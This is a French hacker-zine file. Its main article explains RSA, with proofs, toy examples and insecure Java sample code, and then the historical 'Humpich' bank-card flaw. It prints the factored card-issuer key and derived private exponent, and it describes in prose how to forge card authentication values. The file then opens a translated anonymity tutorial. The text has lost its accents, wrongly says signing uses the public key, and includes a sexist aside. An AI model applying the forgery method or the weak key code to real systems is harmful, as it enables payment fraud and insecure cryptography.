nombre  m  en  effectuant  l'opration c^d mod n, puis il rcupre la recette en
passant  le  nombre  m dans la fonction rciproque de la fonction chiffrante. La
suite  logique  du  protocole  serait un passage au march, mais on va s'arrter
l.

[Bon  alors  l  je  suis  sur  que  vous  me  croyez pas et pourtant ca marche.
Regardons  ce  que  ca donne avec les valeurs choisies prcdemment. Attention :
le  nombre  m    crypter doit tre plus petit que n, donc dans notre cas disons
qu'on  veut  crypter  le  message  m=42 (pour faire plaisir  cybz et tob ;). On
obtient  le  nombre  crypt  c  =  42^5  mod  221 = 9. Maintenant essayons de le
dcrypter  :  9^77 mod 221 = 42, youpi ca marche :) (si votre calculatrice n'est
pas  assez  trapue  pour  faire  ca,  vous  pouvez  toujours  vous  servir de la
calculatrice  de  windows en mode scientifique ou de maple en mode commande pour
faire  leet).  Conclusion  :  lorsqu'on crypte des donnes avec la cl publique,
elles peuvent et doivent tre dcryptes avec la cl prive]

Cette    technique  de  chiffrage  prend  tout  son  sens  si  quelqu'un  essaie
d'intercepter  le  message.  Si  la  situation prcdente avait eu lieu, tout le
monde  se  doute  qu'Euler  aurait  essay  de  connatre  la fameuse recette de
Lagrange.  En  admettant  qu'il connaisse les fonctions de chiffrage-dchiffrage
de  textes  et qu'il connaisse la cl publique de Fermat, que se passe-t-il s'il
intercepte  le  message  de  Lagrange  Fermat, cd le nombre crypt c ? Eh bien
c'est  selon.  S'il  veut  rcuprer le nombre en clair m, il doit faire c^d mod
n.  Mais  si  Fermat  a  t  prudent,  il  doit tre le seul  connatre sa cl
secrte,  cd  d.  Euler,  qui  tient  vraiment   connatre cette recette, peut
toutefois  retrouver  d s'il connait p et q (pour vous en convaincre, relisez la
dfinition  de  d).  Cela  revient  donc    connatre  la dcomposition de n en
facteurs  premiers.  Et  c'est  l  que  ce  trouve  la  difficult : on ne sait
toujours   pas  factoriser  de  trop  grands  nombres  en  facteurs  de  nombres
premiers.  Donc  si Fermat a choisi p et q suffisamment grands quand il a gnr
ses  cls,  il  y  a de trs faibles chances pour qu'Euler arrive  factoriser n
(surtout  qu'il  ne  disposait  vraisemblablement  pas  d'ordinateur). Si malgr
tout  il  y  parvient,  Euler retrouve d et peut alors dcrypter le message c et
donc connatre la recette du PaP.

Cet  exemple  (qui  vaut  ce  qu'il vaut ;), montre que toute la scurit du RSA
rside  dans  la  difficult  de  factoriser  n  (cd  de  retrouver p et q). En
choisissant  p  et  q  trs grands, on est  peu prs sr que personne ne pourra
couter vos messages.

[Alors  l  vous  vous  dites ouais n'importe quoi ma TI-92+ elle est surbalaise
elle  va  te  factoriser  n  en moins de 2. Trs bien : essayez donc la fonction
factor(n) avec

n =
251959084756578934940271832400483985714292821262040320277771378360436620207075955
562640185258807844069182906412495150821892985591491761845028084891200728449926873
928072877767359714183472702618963750149718246911650776133798590957000973304597488
084284017974291006424586918171951187461215151726546322822168699875491824224336372
590851418654620435767984233871847744479207399342365848238242811981638150106748104
516603773060562016196762561338441436038339044149526344321901146575444541784240209
246165157233507787077498171257724679629263863563732899121548314381678998850404453
64023527381951378636564391212010397122822120720357

Au  passage  si  vous  arrivez vraiment  le factoriser, contactez RSALabs parce
que  vous  venez  de  gagner $ 200.000.  Sinon prvoyez de laisser tourner votre
calculatrice/ordinateur pendant quelques dcennies/sicles :) ]

Ce  qui  est  intressant  avec  le  cryptage  asymtrique  c'est  que l'on peut
galement  crypter  les  donnes    l'aide  de la cl prive et les dcrypter 
l'aide  de  la  cl  publique  (donc  d'une  manire  plus gnrale : ce qui est
crypt  avec  une  cl  doit tre dcrypt avec l'autre). Si on se place dans le
cas  de  Fermat,  et  que  celui-ci a envie d'envoyer une invitation  dner aux
membres  du  club  d'airsoft  dont  il  fait  partie, il peut donc crypter cette
invitation  avec  sa  cl  prive,  et sa cl publique tant, vous vous en serez
douts,  publique,  tout  le monde peut dcrypter son message. Mais alors  quoi
ca  sert  ce cryptage si tout le monde peut le dcrypter ? A rien si vous voulez
que  votre  message soit secret, par contre mettez-vous  la place de Galois qui
fait  bien  entendu  parler du club d'airsoft prcdemment cit. Celui-ci recoit
une  invitation  qu'il  dcrypte  aisment,  mais  qu'est-ce  qui lui dit que ce
n'est  pas  une  mauvaise  blague  d'Euler  ? Eh bien le fait qu'il ait russi 
dcrypter  l'invitation  avec  la  cl  publique  de Fermat prouve qu'elle a t
crypte  avec  la cl prive de Fermat et donc  priori que c'est bien Fermat et
non  Euler  qui  a  envoy  le message (si on suppose bien sur que Fermat est le
seul    connatre  sa cl prive). Cette fois le message est public mais on est
assur  de  sa  provenance  : quand on crypte un message avec sa cl publique on
dit  qu'on  le  *signe*.  Quand on dcrypte un message sign avec succs, on dit
qu'on  l'*authentifie*.  Et effectivement on authentifie bien la cl qui a sign
le message, donc a fortiori son auteur.

[J'entends  dj  vos  calculatrices  ronronnantes  prtes  vrifier si on peut
galement  crypter  les  donnes  dans  ce  sens.  C'est  parti  : mettons qu'on
veuille  signer  le  message  m=22,  on  rcupre c = 22^77 mod 221 = 3, puis on
effectue 3^5 mod 221 = 22. Ca marche donc dans les 2 sens]

Notez  bien  que  quand  on  authentifie  un  message  sign,  on est certain de
savoir  que  c'est  la cl prive correspondant  telle cl publique qui a sign
le  message,  mais  le  postulat  "c'est  telle personne qui a sign le message"
n'est  vrai  que  si cette personne est la seule  connatre sa cl prive. Dans
notre  exemple,  si Euler a russi  factoriser n et donc qu'il a pu gnrer une
cl  prive  valable  correspondant   la cl publique de Fermat, il peut signer
des  messages    la  place  de Fermat et ainsi faire des bonnes blagues au club
d'airsoft de ce dernier.

Gardez  ce  dernier  exemple  en tte puisque le RSA mis en jeu dans la scurit
de  la  carte  bleue  est prcisment une signature, et qu'en fait Humpich ayant
russi    factoriser la cl publique du GIE carte bancaire (la socit qui met
les  cartes  bleues),  il  a pu en dduire une cl prive correspondante et donc
gnrer  de  faux  messages  semblant provenir du GIE cartes bancaires (donc ici
pour  tre  clair  Fermat=GIE,  Humpich=Euler,  le  club  d'airsoft  ce sont les
banques  et  Galois  c'est  un  terminal bancaire). Mais avant de dtailler plus
prcisment  la  scurit  de  la carte bleue, examinons la thorie mathmatique
sous-jacente au RSA.

(vous  pouvez  passer    la  partie  IV  si  vous ne vous sentez pas l'me d'un
matheux, la partie suivante est facultative)



III. PRELIMINAIRES MATHEMATIQUES

Le  but  de  cette  partie est de dmontrer qu'avec les hypothses du RSA sur p,
q, n, e et d on a :

quel  que  soit l'entier m plus petit que n, c = m^e mod n => m = c^d mod n et c
= m^d mod n  => m = c^e mod n

Thorme de Lagrange :

Si  G  est  un  groupe  fini et H un sous-groupe de G, alors l'ordre de H divise
l'ordre  de  G  (l'ordre  d'un  groupe  est  gal  son cardinal) (pour avoir la
dfinition  et  quelques  proprits  sur  les  groupes,  je  vous  conseille de
chercher  un  site ou un livre sur l'algbre de 1er cycle (les-mathematiques.net
ou le HPrpaMath Algbre peuvent vous tre utiles))

Preuve  : soit  G  un groupe  fini  et H  un  sous-groupe de  G.  On dfinit  la
relation R ainsi :

Pour  tout  (x,y) lt de G, on a xRy <=> x'*y lt de H o x' est l'inverse de x
cette  relation  est  une relation d'quivalence (cela se montre aisment) si on
note  xH  l'ensemble  {  x*h | x lt de H } (classe  gauche de x), alors il est
direct  que  la classe d'quivalence de x pour la relation R est xH. les classes
d'quivalences  sur  G  ainsi  dfinies  ont  toutes  le  mme  cardinal, car la
fonction f qui  tout lt h de H associe l'lt x*h de xH est une bijection,

Donc pour tout x de G on a card(xH) = card(H)

On  en  vient au thorme de Lagrange  proprement parler : on sait qu'il existe
un  entier  naturel  n et x_1,...,x_n n lts de G tels que { x_iH | i lt de {1,
...,  n}  }  soit  une  partition  de  G, or les ensembles x_iH ont tous le mme
nombre  d'lments  card(H),  donc  on  rcupre  card(G)  =  n*card(H),  ce qui
revient  dire que l'ordre de H divise l'ordre de G, CQFD

note  :  selon  la  lgende,  le petit Lagrange aurait dmontr ce thorme  10
ans devants les lves de l'cole polytechnique. C'est nervant hein ;)

Corollaire du thorme de Lagrange :

Si G est un groupe et g un lt de G d'ordre fini alors l'ordre de g divise
l'ordre de G

Preuve :
posons  n  = ordre(g) (cd n est le plus petit entier naturel tel que g^n = e o
e est le neutre pour *)

L'ensemble  {  e,  g,  ...,  g^(n-1)  }  est  un sous groupe de G d'ordre n (les
savants  l'appellent  le  groupe  engendr par g :), donc d'aprs le thorme de
Lagrange n divise l'ordre de G.

Prop : a inversible dans Zn <=> pgcd(a,n) = 1

Preuve :
se dmontre  l'aide de l'ami Bezout : un sens est trivial, l'autre l'est moins
(life is unfair)

On  travaille  maintenant  dans Z/nZ, que l'on va noter Zn pour conomiser votre
bande  passante  (petit  rappel pour les idiots, les enfants et les femmes, pour
n entier naturel non nul, Zn = { k lt de N | k <= n })

Notons  phi  la  fonction indicatrice d'Euler dfinie ainsi : pour tout n lt de
N*, phi(n) = card({ a lt de N | pgcd(a,n) = 1 }) = card({ a lt de Zn | a
inversible dans Zn })

Thorme d'Euler :
pour tout a inversible dans Zn, on a : a^phi(n) = 1 mod n

Preuve :
notons  A  l'ensemble des lments inversibles de Zn, on a donc phi(n) = card(A)
et (A,*) est un groupe
posons p = ordre(A)

Soit  a  lt de A, on sait que ordre(a) divise ordre(A), donc il existe k lt de
N tel que p = k*ordre(a)

On  a  donc  a^phi(n)  =  a^p  = a^(k*ordre(a)) = (a^ordre(a))^k = 1^k = 1 mod n
(attention, on travaille dans Zn donc  chaque fois on applique mod n au
rsultat d'un calcul)


Thorme chinois :
si p et q sont deux nombres premiers, alors Zpq et Zp*Zq sont isomorphes

preuve :
on  montre  aisment  que  la  fonction f qui  tout lment n de Zpq associe (n
mod p, n mod q) est un isomorphisme

Extension du thorme d'Euler aux lments non inversibles de Zn :
pour tout x de Zn et pour tout k de N on a x^(1+k*phi(n)) = x

preuve :
soient p et q deux nombres premiers, et soit n = p*q

Soit  x  lt de Zn, et f la fonction dfinie dans la preuve du thorme chinois.
Si  x  est  inversible  dans  Zn,  alors  la  proprit  dcoule  directement du
thorme  d'Euler.  Supposons  maintenant que x n'est pas inversible dans Zn, on
a  alors  pgcd(x,n)  !=  1  donc il existe d tel que d|x et d|n (si on note | la
relation "divise"), donc il existe d tel que d|x et (d|p ou d|q)
or p et q premiers donc il existe d tel que d|x et (d=p ou d=q)
donc  p|x  ou  q|x  de  manire  exclusive (car si on avait p|x et q|x on aurait
x>=pq cd x>=n, ce qui est contradictoire avec la dfinition de Zn)
pour fixer les ides, supposons que q|x, donc x = a*q
on a alors

f(x)^(1+k*phi(n)) = (x^(1+k*phi(n)) mod p, x^(1+k*phi(n)) mod q)
                  = (x*(x^phi(n))^k mod p, 0)
                  = (x mod p, 0)
                  = f(x)

notons f' la fonction rciproque de f, on a alors :
f'(f(x)^(1+k*phi(n))) = f'(f(x)) = x
et d'autre part, comme f' est un morphisme :
f'(f(x)^(1+k*phi(n))) = f'(f(x))^(1+k*phi(n)) = x^(1+k*phi(n)), CQFD

Application au RSA :
Placons nous dans le cadre du RSA :
soient p et q deux nombres premiers, n = p*q
soit e un nombre entier strictement infrieur  n
soit d un nombre entier tel que e*d = 1 mod (p-1)*(q-1)

Observons  que  phi(n)  = phi(p*q) = phi(p)*phi(q) = (p-1)*(q-1) car p et q sont
premiers (relisez la dfinition de la fonction phi si cela ne vous semble pas
immdiat)

soit  m  un  entier  strictement  infrieur  n, posons c = m^e mod n et A = c^d
mod n
il s'agit de vrifier que A = m :

A  =  c^d mod n = (m^e)^d mod n = m^(e*d) mod n = m^(1+k*phi(n)) mod n = m mod n
= m car m<n
On arrive donc bien au rsultat souhait. On peut observer si on pose c = m^d
mod n, alors on a bien m = c^e mod n.


IV. APPLICATION A LA CARTE BLEUE

Je  sens  que  la  plupart  d'entre  vous se disent "ah, on entre dans le vif du
sujet"  :)  Je  pense que les plus observateurs d'entre vous auront remarqu que
la  carte  bleue  est  une  carte    puce  (elle  comporte  galement une bande
magntique  et  toutes  sortes  d'informations intressantes mais on ne traitera
ici  que  la puce), mais vous tes-vous dj demand ce qu'tait une puce ? Pour
faire  simple,  on  peut  dire  qu'une  puce  est un ordinateur, elle possde un
processeur,  de  la RAM, de la ROM, un systme d'exploitation basique (qui a dit
windows  ?  allez tu sors) et des ports d'entre sortie. Oui tout ca sur ce ptit
truc.  Les  anciennes  cartes  taient  dotes  de  mmoire  EPROM  qui saturait
lorsqu'elle  tait  pleine  (les  gros  acheteurs devaient alors faire remplacer
leur  carte  bleue), aujourd'hui les cartes bleues sont dotes de mmoire EEPROM
rinscriptible  de  l'ordre  de la dizaine de Ko qui permet d'viter ce genre de
dsagrment.

La  mmoire  d'une  carte    puce  fonctionne    peu  prs  comme  celle d'une
disquette,  il  existe diffrentes zones mmoires dont les autorisations d'accs
changent  (il  peut  exister  des  zones  libres  en lecture/criture, des zones
libres  en  lecture  qui exigent la prsentation d'un code secret pour dbloquer
l'criture,  des  zones  interdites  en lecture et en criture...). Si vous tes
aventuriers,  vous  pouvez  acheter  un  lecteur de carte  puce pour pc (ils se
branchent  en  gnrale  sur  le  port  srie  ou  parallle) pour environ 100,
personnellement  je  trouve  celui de basiccard.com assez intressant. Bref, une
fois  que  vous  disposerez  de ce lecteur et des informations ncessaires (dans
le  livre  PC  et  cartes   puces de Patrick Gueulle par exemple), vous pourrez
vous  amuser    explorer  votre  carte  :  voir  les  donnes publiques qu'elle
contient, y crire vos propres donnes...

Pour  mieux  comprendre  la  faille Humpich, examinons  quoi ressemble un achat
effectu   par  carte  bleue  (je  simplifie  la  plupart  des  tapes  pour  ne
m'intresser  qu'  la  faille  humpich,  mais  la  totalit  de  la transaction
bancaire est galement intressante  tudier) :

1/ Introduction de la carte dans le terminal
Ce    dernier    alimente  alors  la  puce  de  votre  carte  puis  commence  la
communication avec elle

2/ Authentification de la carte
Dans  cette  tape, le terminal va tenter de s'assurer que votre carte n'est pas
une  carte  frauduleuse,  cd  qu'elle  a  bien  t  mise  par  le  GIE cartes
bancaires.  Il  va alors demander  la carte de lui transfrer un certain nombre
de  donnes  :  une  Valeur d'Identification VI et une Valeur d'Authentification
VA.  Ces  deux  informations  sont  publiques, c'est pourquoi le lecteur n'a pas
besoin  de  votre code PIN pour les rcuprer (vous avez peut-tre dj remarqu
que    directement  aprs  l'introduction  de  la  carte  le  lecteur  affichait
"authentification").  La  Valeur d'Identification contient des informations vous
concernant  :  le nom du porteur de la carte (cd vous), le numro  16 chiffres
imprim  sur  la  carte,  sa  date  de  validit  et la devise de la carte (donc
maintenant  en  euros).  La  Valeur d'Authentification est un message crypt sur
320  bits,  et c'est l qu'interviennent nos remarques prliminaires sur le RSA,
car  VA  est  en  fait  un  message sign par le GIE carte bancaire (donc crypt
avec  sa  cl  prive).  Dans  le cas de la carte bleue, le terminal dispose des
informations publiques suivantes (et donc nous aussi) :

n =
213598703592091008239502270499962879705109534182641740644252416500858395774644508
8405009430865999

e = 3
c = VA

Donc  rappelez-vous,  si on veut dcrypter c, on fait m = c^e mod n. A ce stade,
le  terminal  est donc cens avoir dcrypt votre VA, il compare alors la valeur
m  obtenue  avec  VI,  si  m  est constitu de manire redondante d'informations
contenue  dans  VI  alors  le terminal sait que m a t crypt par la cl prive
du  GIE,  et  le  GIE  tant  cens tre le seul  connatre sa cl prive votre
carte est reconnue comme valide (cd mise par le GIE).

3/ Entre du code PIN
C'est    ce  stade  que  le  terminal  va  vous  demander  votre  code PIN pour
dbloquer  en  criture la zone secrte de votre carte  puce pour... y inscrire
l'historique  de  la  transaction,  cd la date et le montant de la transaction.
Tadaaaa...  Vous  vous demandez pourquoi l'historique des transactions se trouve
dans  la  zone  secrte  ? Moi aussi. Et l vous vous dites que le code PIN doit
forcment  servir    quelque  chose  de  plus  important  ? La rponse est non.
Conclusion  de  cette  tape  :  on peut dire que le code PIN ne sert  rien, en
tout cas il n'intervient pas dans la scurit de la carte bleue.

4/ Calculs DES pour l'impression des facturettes
Vous  avez  peut-tre  dj entendu parler de cls DES contenues dans les cartes
bleues   :  c'est  exact  mais  elles  ne  servent  que  pour  l'impression  des
facturettes  (vous  savez  les  petits  tickets qu'on vous rend avec votre carte
bleue  et  dont  les  mchants  voleurs  de  numros  16 chiffres raffolaient).
Conclusion  de  cette  tape : ces calculs cryptographiques ne servent presque 
rien,  en  tout  cas  ils n'interviennent pas dans l'attaque que nous expliquons
ici.

5/ Validation de la transaction
Si  toutes  les  tapes  prcdentes  ont  t  passes  avec  succs (ainsi que
quelques  autres  dont  je  n'ai  pas  besoin  de  parler dans le cadre de cette
attaque),  la  transaction  est  valide. Le monsieur ou la dame vous rend votre
carte et vous vous en allez, le coeur lger.

Maintenant que nous avons vu comment se droulait une transaction normale,
nous  pouvons  voir  plus dans le dtail ce qui se passe avec la faille Humpich.
Je  vous  ai  dit  au paragraphe II qu'Humpich avait russi  factoriser le n du
GIE cartes bancaires. Voil ce qu'il a obtenu :

p = 1113954325148827987925490175477024844070922844843
q = 1917481702524504439375786268230862180696934189293

Vous  pouvez  vrifier  que  p*q  est bien gal au n donn prcdemment. Si vous
vous  souvenez  de  mes petits exemples avec Fermat et Euler, je vous ai dit que
si  on  connaissait  la  factorisation  de  n  en  facteurs  premiers on pouvait
retrouver la cl prive d. Eh bien faisons le :
on sait qu'on doit avoir e*d = 1 mod (p-1)(q-1), ce qui signifie e*d = 1 +
k*(p-1)(q-1), on doit donc avoir
d = (1+k*(p-1)(q-1))/e avec k tel que d soit entier
faisons l'essai avec k=1, on obtient

d =
213598703592091008239502270499962879705109534182338597041485083258128268130273720
1380241573831865/3

d n'est pas entier donc k=1 ne convient pas, essayons avec k=2 :

d =
1423991357280606721596681803333085864700730227882257313609900555054188454201824
Cette  fois  d  est entier, nous avons donc une valeur convenable qui peut faire
office de cl prive. Autrement dit, la valeur que vous venez de voir est la
prive du GIE cartes bancaires.

Maintenant  imaginons  que  vous  soyez un mchant fraudeur, disposant de la cl
prive  d,  vous  pouvez  gnrer de fausses Valeurs d'Authentifications. Autant
avant  vous  ne  pouviez  que  clner  des  cartes  dans des cartes vierges pour
dbiter   le  compte  de  votre  malheureuse  victime,  maintenant  vous  pouvez
carrment  crer  de  fausses  informations  ex  nihilo,  par exemple dans votre
carte  vierge  vous inscrivez la Valeur d'Identification que vous voulez (au nom
d'Ulysse  31  par exemple, avec un numro  16 chiffres bidon), puis vous formez
un  message  m    partir  des  informations de votre VI de telle sorte que vous
obteniez  une  valeur  VA  sur  320  bits,  puis vous l'inscrivez dans la carte.
Imaginez  que  vous faites un achat avec une telle carte, si vous reprenez les 5
tapes  prcdentes  vous  allez  vous  rendre  compte  qu'elles  seront  toutes
passes  avec  succs  et que donc il est possible d'effectuer un achat avec une
carte    puce  ne  correspondant    aucun  compte  et mme  un nom fictif. La
faille  est  donc  dmontre,  et  si on fait une rtrospective, on se rend bien
compte que toute la scurit du RSA repose sur la difficult de factoriser n.

Sa  cl  ayant  t  casse,  le GIE a ragi mais pas forcment de la manire la
plus  adapte  : il a gnr une nouvelle paire de cls et donc une nouvelle VA.
Seulement  au  lieu  de  remplacer  le  jeu  de cls cass par le nouveau jeu de
cls,  les  deux  cohabitent sur les cartes mises depuis novembre 99, cd qu'il
y  a  toujours la VA sur 320 bits code avec la cl casse ainsi qu'une VA code
sur  720  bits  avec  la  nouvelle cl prive. La nouvelle VA n'est utilise que
par  un  certain  type  de  terminaux,  donc  la  faille  restera  partiellement
effective  tant  que  toutes  les  cartes  contenant  une cl casse ne sont pas
expires,  cd  jusqu'en  2004  normalement.  On  aurait  pu s'attendre  ce que
toutes  les  cartes  bleues soient remplaces et que le jeu de cl cass ne soit
plus  utilis,  mais  le GIE a choisi une autre stratgie, srement pour essayer
d'touffer l'affaire.

Voil, vous savez (presque) tout sur la faille Humpich.


APPENDICE I. PROGRAMMES D'EXEMPLE EN JAVA

L'architecture   du  RSA  est  relativement  simple    implmenter,  voici  une
structure  simple  en  java qui permet de gnrer des paires de cls, crypter et
dcrypter    des   nombres.  Si  vous  voulez  faire  un  programme  fonctionnel
permettant  de  crypter  et dcrypter des messages de n'importe quelle longueur,
il  faudra  que  vous  programmiez vos fonctions de transfert texte -> nombre et
nombre  ->  texte,  pensez  galement  que  les nombres que vous cryptez doivent
tre  plus  petits que n. Si votre texte transform en nombre est plus grand que
n,  une  solution  possible  est de dcomposer ce nombre en base n et de crypter
sparment  chacune  de  ses  composantes,  je vous laisse vous dbrouiller pour
retrouver le texte original :)

/**********BEGIN RSAEngine.java************/
import java.math.*;
import java.util.*;

public class RSAEngine {
    Random r;
    public final static int PRIME_BITS = 1024;

    public RSAEngine() {
        r = new Random();
    }

    public static void main(String[] arg) {
        RSAEngine engine = new RSAEngine();
        System.out.println("generating key pair...");
        RSAKeyPair keypair = engine.generateKeyPair();

        System.out.println("n = "+keypair.getProduct().toString());
        System.out.println("d = "+keypair.getPrivateExponent().toString());
        System.out.println("e = "+keypair.getPublicExponent().toString());

        System.out.println("key pair generated. Encoding your input");
        BigInteger m = new BigInteger(arg[0]);
        BigInteger c = m.modPow(keypair.getPublicExponent(),keypair.getProduct());
        System.out.println("ciphertext = "+c.toString());
        BigInteger clear = c.modPow(keypair.getPrivateExponent(),keypair.getProduct());
        System.out.println("decoded text : "+clear.toString());
    }

    public RSAKeyPair generateKeyPair() {
        BigInteger p = generateBigPrime(PRIME_BITS);
        System.out.println("p = "+p);
        Thread sleeper = new Thread();
        sleeper.start();
        try {
            sleeper.sleep(1000);
        } catch(InterruptedException e) {}
        BigInteger q = generateBigPrime(PRIME_BITS);
        System.out.println("q = "+q);
        BigInteger n = p.multiply(q);
        BigInteger e = generatePublicExponent(p,q,n);
        BigInteger d = generatePrivateExponent(p,q,e);
        return new RSAKeyPair(new RSAPrivateKey(n,d), new RSAPublicKey(n,e));
    }

    public static BigInteger generateBigPrime(int numbits) {
        BigInteger big;
        Random ran = new Random();
        while(true) {
            big = new BigInteger(numbits, ran);
            if(big.isProbablePrime(7) && big.isProbablePrime(20)) break;
        }
        return big;
    }

    public BigInteger generatePublicExponent(BigInteger p, BigInteger q, BigInteger n) {
        BigInteger e;
        BigInteger prod = (p.subtract(BigInteger.ONE)).multiply(q.subtract(BigInteger.ONE));
        while(true) {
            e = new BigInteger(8, r);
            if(e.compareTo(n)<0 && gcd(e, prod).equals(BigInteger.ONE)) break;
        }
        return e;
    }

    public BigInteger generatePrivateExponent(BigInteger p, BigInteger q, BigInteger e) {
        BigInteger d;
        BigInteger prod = (p.subtract(BigInteger.ONE)).multiply(q.subtract(BigInteger.ONE));
        System.out.println("prod = "+prod);
        BigInteger i = BigInteger.ONE;
        while(true) {
            d = i.multiply(prod).add(BigInteger.ONE);
            BigInteger[] array = d.divideAndRemainder(e);
            d = array[0];
            if(array[1].equals(BigInteger.ZERO)) break;
            else i = i.add(BigInteger.ONE);
        }
        return d;
    }

    public static BigInteger gcd(BigInteger a, BigInteger b) {
        return b.equals(BigInteger.ZERO)?a:((a.max(b)).equals(a)?gcd(b,a.mod(b)):gcd(b,a));
    }
}
/***********END RSAEngine.java*************/


/**********BEGIN RSAKeyPair.java************/
import java.math.*;

public class RSAKeyPair {
    RSAPrivateKey prv;
    RSAPublicKey pub;

    public RSAKeyPair(RSAPrivateKey prv, RSAPublicKey pub) {
        this.prv = prv;
        this.pub = pub;
        if(!pub.getProduct().equals(prv.getProduct())) throw new IllegalArgumentException("invalid key pair : different n values");
    }

    public RSAPrivateKey getPrivateKey() {
        return prv;
    }

    public RSAPublicKey getPublicKey() {
        return pub;
    }

    public BigInteger getPublicExponent() {
        return pub.getPublicExponent();
    }

    public BigInteger getProduct() {
        return pub.getProduct();
    }

    public BigInteger getPrivateExponent() {
        return prv.getPrivateExponent();
    }

    public void setPublicExponent(BigInteger e) {
        pub.setPublicExponent(e);
    }

    public void setProduct(BigInteger n) {
        pub.setProduct(n);
    }

    public void setPrivateExponent(BigInteger d) {
        prv.setPrivateExponent(d);
    }
}
/***********END RSAKeyPair.java*************/



/**********BEGIN RSAKey.java************/
public class RSAKey {}
/***********END RSAKey.java*************/



/**********BEGIN RSAPrivateKey.java************/
import java.math.*;

public class RSAPrivateKey extends RSAKey {
    private BigInteger n, d;

    RSAPrivateKey(BigInteger n, BigInteger d) {
        this.n = n;
        this.d = d;
    }

    public BigInteger getPrivateExponent() {
        return d;
    }

    public BigInteger getProduct() {
        return n;
    }

    public void setPrivateExponent(BigInteger d) {
        this.d = d;
    }

    public void setProduct(BigInteger n) {
        this.n = n;
    }

    public String toString() {
        return "("+n.toString()+","+d.toString()+");";
    }
}
/***********END RSAPrivateKey.java*************/


/**********BEGIN RSAPublicKey.java************/
import java.math.*;

public class RSAPublicKey extends RSAKey {
    private BigInteger n, e;

    RSAPublicKey(BigInteger n, BigInteger e) {
        this.n = n;
        this.e = e;
    }

    public BigInteger getPublicExponent() {
        return e;
    }

    public BigInteger getProduct() {
        return n;
    }

    public void setPublicExponent(BigInteger e) {
        this.e = e;
    }

    public void setProduct(BigInteger n) {
        this.n = n;
    }

    public String toString() {
        return "("+n.toString()+","+e.toString()+");";
    }
}
/***********END RSAPublicKey.java*************/






APPENDICE II. SOURCES ET BIBLIOGRAPHIE

http://www.parodie.com/humpich
http://dslab.csie.ncu.edu.tw/~lucas/rsamath.HTM
http://nuts.citeglobe.com/indexrsa.htm
http://www.rsasecurity.com/rsalabs/faq/
http://www.les-mathematiques.net
PC et cartes  puces - Patrick Gueulle
Cartes  puces - Patrick Gueulle
Cours de cryptographie - Gilles Zmor

Explications  de  wolf (wolf@madchat.org) et de mon prof de maths que je ne vais
pas citer pour lui viter des problmes ;)

Le mot de l'ami Schneier :

"You  see  smart  cards are used as credit cards all over Europe, but not in the
United  States.  Why  ?  Because of the phone system. To combat fraud, US credit
cards  went  to  an  online  verification  system.  When  you buy something, the
merchant  checks  the  validity  of  your  card  (and  the  availability of your
credit)  via  modem.  In  Europe 15 years ago that type of system would not have
worked  in  every  country.  Phones were expensive; many stores didn't even have
one,  and  the average wait time for installation in Italy was one or two years.
Phone  calls  were  expensive  and  the connections were unreliable. Fielding an
online  system  in  Europe  was expensive, so the credit card industry went with
smart  cards  to  give  some  measure of security for the transaction. It wasn't
that  smart  cards  were more secure than magnetic stripe cards, it was that the
US  solution  to  the  problem  of  fraud  -  online  verification  -  was  less
practical.  Some  intense  lobbying by the European smart card vendors (Bull SA,
Gemplus, and Schlumberger) didn't hurt, either." Secrets & Lies






        maddany@madchat.org

`,,`,,`,,``,,`,,`,

























              _   ____________________________________   _
-7-            `^*;:,.>       Anonymat         <.,:;*^`
___________________/hal2001 / tobozo\___________________
`,,`,,`,,``,,`,,`,
11/8/2002
Mon nom est personne
====================

<=============================================================================>
Texte Original : The Anonymity Tutorial (blacksun.box.sk) 1.5 (22 Mars 2000)

Ce document : version 1.5.FR Juillet 2002
Traduction, r-criture : hal2001, tobozo
<=============================================================================>


Dixlaimeur
==========
Nous  n'encourageons  aucun genre d'activit illgale. Si vous croyez que violer
la  loi  est  une  bonne  maniere  d'impressionner son prochain, arretez tout de
suite  la  lecture  de  ce  document.  Il n'y a rien d'impressionnant a etre une
cyber-racaille.  Ceci  dit  vu  la profondeur technique de ce document (issue de
la  version  originale)  il  serait  carrement  etonnant  que  les infos qui s'y
trouvent puissent servir a quelque activit illgale ;-))

Table des matieres
==================

L'anonymat
* L'anonymat sur le web, une utopie ?
* Et quand bien meme a quoi ca sert d'etre anonyme ?
* Ok, je vois le delire. Anonymisez moi.

Proxy, Proxies
* C'est quoi un proxy ?
* Qui sont les proxy-net (proxies public) ?
* Ou puis-je trouver des listes de proxies publics ?
* Sont-elles bonnes pour autre chose que l'anonymat ?
* Et comment ca marche ?
* C'est quoi Wingate ?
* En quoi peut il m'anonymiser?
* Wingate a l'air kool. Je veux l'installer sur mon systeme. Comment faire pour
le transformer en ruche a anonymat ?
* Comment des clients IRC ou ICQ peuvent-ils s'en servir ?

Remailer Anonyme
* Un remailer anonyme c'est quoi ?
* Comment s'en servir pour etre encore plus anonyme ?
* Quel est l'interet d'heberger un tel systeme, c'est quoi l'astuce ?

Chiffrage
* Pourquoi devrais-je chiffrer mon courrier ?
* Comment puis-je chiffrer mon courrier ?

Les Cookies
* C'est quoi un cookie ?
* Cela peut-il mettre en danger mon intimit ?

Les fichiers .chk
* C'est quoi un fichier .chk ?
* Peuvent-ils mettre en danger mon intimit ?

L'anonymiseur
* C'est quoi un anonymiseur ?
* Comment s'inscrire ?

Ou puis-je en apprendre plus sur l'anonymat?
* Adresses Utiles.

Annexe A: En utilisant Altavista comme proxy
* comment me servir de Babelfish pour m'anonymiser ?

Annexe B: Le mode +x
* astuce IRC

Annexe C: Le mode parano
* solution utlime


L'Anonymat
==========

Que  vous  le  ralisiez  ou  pas,  l'internet  n'est  pas  si  anonyme que vous
pourriez le penser. Voici quelques exemples:

1)  Vous  visitez  un  site  web.  Les  propritaires  du  serveur  web  peuvent
dcouvrir les informations suivantes (et parfois bien plus) a votre sujet :

1. Votre ADRESSE IP.
2. Votre hostname.
3. Votre continent.
4. Votre pays.
5. Votre ville.
6. Votre brouteur web.
7. Votre systeme d'exploitation.
8. Votre rsolution d'cran.
9. Vos couleurs d'cran.
10. Le URL prcdemment visites.
11. Votre FAI.

Et ce n'est qu'un petit bout de l'iceberg.

2)  Vous  pensez,  en  tant  reli a un rseau d'IRC lors d'un brin de causette
avec  vos  amis, que tout ce qu'on peut trouver comme information sur vous c'est
votre  nick,  qu'on  ne  peut  vous  reconnaitre  que  si  l'on est dans le meme
channel que vous ? Eh bien c'est faux.

Voici  quelques  exemples de ce que vous pouvez trouver en connaissant seulement
le pseudo d'une personne (dans les conditions les plus optimales):

1. Votre vrai nom.
2. Votre addresse email.
3. Votre ADRESSE IP.
4. Votre hostname.
